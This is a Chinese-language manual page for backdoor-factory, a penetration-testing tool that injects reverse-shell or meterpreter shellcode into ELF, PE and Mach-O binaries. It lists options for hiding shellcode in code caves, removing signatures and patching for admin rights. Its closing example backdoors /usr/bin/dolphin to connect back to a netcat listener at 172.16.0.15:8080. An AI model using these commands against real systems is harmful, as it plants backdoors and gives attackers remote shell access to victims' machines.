backdoor-factory - 参考手册、选项、命令示例


姓名

backdoor-factory - 在二进制文件中注入预定义或用户定义的 shellcode

概要

backdoor-factory [options]

描述

后门工厂使用用户所需的 shellcode 修补可执行二进制文件,并继续正常执行预修补状态。

该工具仅供安全专业人员和研究人员使用。

该工具不支持可重定位的 ELF 可执行文件(即使用 -fPIE 选项进行编译,根据 Debian 强化要求的建议,请参阅 https://wiki.debian.org/Hardening)

像 ssh 这样的二进制文件可能无法像 dolphin 这样的二进制文件(在编写本手册页时)那样正确地保存。

选项:

-h, --help

显示此帮助消息并退出

-f FILE, --file=FILE

文件到后门

-s SHELL, --shell=SHELL

可供使用的有效负载。使用“show”查看有效负载。

-H HOST, --hostip=HOST

用于反向连接的C2的IP。

-P PORT, --port=PORT

连接回反向 shell 或侦听绑定 shell 的端口

-J, --cave_jumping

如果您想使用代码洞穴跳转来进一步隐藏二进制文件中的 shellcode,请选择此选项。

-a, --add_new_section

强制将新部分添加到 exe 中(更好的成功),但避免使用杀毒软件

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

用户提供的 shellcode,请确保它与您的目标架构匹配。

-c, --cave

Cave 标志将找到可用于存储 shellcode 的代码洞穴。这将打印到特定大小的所有代码洞穴。-l 标志可以与此设置一起使用。

-l SHELL_LEN, --shell_length=SHELL_LEN

与 -c 一起使用以帮助查找不同大小的代码洞

-o OUTPUT, --output-file=OUTPUT

后门输出文件路径。父目录必须存在

-n NSECTION, --section=NSECTION

新部分名称必须少于七个字符

-d DIR, --directory=DIR

这是您想要后门的文件的位置。您可以使用 -a 设置强制将 codecave 附加到 exe,从而加快文件后门目录的速度。

-w, --change_access

此标志将包含 Codecave 的部分更改为 RWE。有时这是必要的。默认启用。如果禁用,后门可能会失败。

-i, --injector

该命令将后门工厂转变为狩猎和 shellcode 注入类型的机制。编辑注射器模块中的目标设置。

-u SUFFIX, --suffix=SUFFIX

与注射器一起使用时,在原始文件上添加后缀以便于恢复

-D, --delete_original

与喷油器模块一起使用。该命令删除原始文件。不适用于生产系统。 (作者不对愚蠢的使用负责。)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

磁盘偏移量的起始点(以字节为单位)。如果您在找到偏移量后发现其中一个文件使用此标志,一些作者希望混淆其在磁盘上的偏移量以避免逆向工程。

-S, --support_check

在对文件进行后门处理之前确定 BDF 是否支持该文件。单独使用或与 verbose 一起使用。如果尝试后门,此检查会自动进行。

-M, --cave-miner

将来使用,帮助确定 PE 文件中可能的最小 shellcode

-q, --no_banner

杀死横幅。

-v, --verbose

用于调试信息输出。

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

仅限 ALL、x86 或 x64 类型的二进制文件。默认=全部

-Z, --zero_cert

允许覆盖 PE 证书表的指针,有效地从二进制文件中删除证书。

-R, --runas_admin

实验 检查 PE 二进制文件中的“requestedExecutionLevel level="highestAvailable”。如果该字符串包含在二进制文件中,则它必须以系统/管理员身份运行。如果不在支持检查模式下,如果存在requestExecutionLevel 条目,它将尝试将highestAvailable 修补到清单中。

-L, --patch_dll

如果您不想修补 DLL,请使用此设置。默认打补丁。

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

对于 MACH-O 格式。如果文件很胖,请重点关注要修补的拱门。默认为 x64。要强制 x86 使用 -F x86,要强制两个架构使用 -F ALL。

-B BEACON, --beacon=BEACON

对于能够发出信标的有效负载,请设置时间(以秒为单位)

-m PATCH_METHOD, --patch-method=PATCH_METHOD

PE文件的修补方法,“手动”、“自动”、替换和onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

对于洋葱公爵。提供您想要的二进制文件。

-X, --xp_mode

默认值:不支持 XP 旧版机器,使用 -X 支持 XP。默认情况下,二进制文件将在 XP 计算机(例如沙箱)上崩溃

-A, --idt_in_cave

实验默认情况下,新的导入目录表会在新部分中创建,通过调用此标志,它将被放入代码洞中。在某些情况下,这可能会导致二进制失败。首先测试目标二进制文件。

-C, --code_sign

对于那些拥有联合签名证书但希望仅签署 PE 二进制文件的人。在 certs 目录中分别将您的签名密钥和私钥命名为signingcert.cer 和signingPrivateKey.pem,由您来获取签名证书。

-p, --preprocess

执行预处理目录中的预处理脚本

关于 ShellCodes

后门工厂中有各种预定义的 shellcode。它们的可用性取决于目标类型(ELF32、ELF64、PE32...)。 shellcodes 列表定义如下。

适用于所有基于 Intel 的(x86 和 x86_64 架构)

reverse_shell_tcp

需要:要设置的远程主机和端口允许:远程 shell 访问

delay_reverse_shell_tcp

需要:要设置的远程主机和端口允许:远程 shell 访问

beaconing_reverse_shell_tcp

需要:一个信标、一个远程主机和要设置的端口允许:远程 shell 访问

user_supplied_shellcode

需要:准备注入的用户定义的 shellcode 许可:取决于 shellcode

Linux 特定的 shellcode

reverse_tcp_stager

需要: 许可:

Windows PE32 exe shellcodes

reverse_shell_tcp_inline

需求:要设置的远程主机和端口允许:远程 shell 访问

reverse_shell_tcp_stager_threaded

需要:要设置的远程主机和端口允许:通过反射 Dll 注入有效负载注入 meterpreter 服务器 DLL

meterpreter_reverse_https_threaded

需要:要设置的远程主机和端口允许:通过 https 传输的 meterpreter

user_applied_shellcode_threaded

需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode

iat_reverse_tcp_inline

需要:要设置的远程主机和端口允许:

iat_reverse_tcp_inline_threaded

需要:要设置的远程主机和端口允许:

iat_reverse_tcp_stager_threaded

需要:要设置的远程主机和端口允许:通过反射 Dll 注入有效负载注入 meterpreter 服务器 DLL

iat_user_applied_shellcode_threaded

需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode

Windows PE64 exe shellcodes

delay_reverse_shell_tcp

需求:要设置的远程主机和端口允许:远程 shell 访问

reverse_shell_tcp

需求:要设置的远程主机和端口允许:远程 shell 访问

beaconing_reverse_shell_tcp

需要:一个信标、一个远程主机和要设置的端口允许:远程 shell 访问

user_supplied_shellcode

需求:准备注入的用户定义的 shellcode 许可:取决于 shellcode

例子

通过远程 TCP 侦听器(例如 netcat)集成远程 shell 访问来对 ELF 二进制文件进行洞穴编码的示例:

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

在IP 172.16.0.15后面的主机上,以监听模式启动netcat:

netcat -l 172.16.0.15 8080

在目标上,启动后门二进制文件:

./backdoored/dolphin

现在,在主机 172.16.0.15 上,只需使用您的 shell。

历史

2017 年 5 月,最初由 Philippe Thierry 编译(phil at reseau-libre dot com)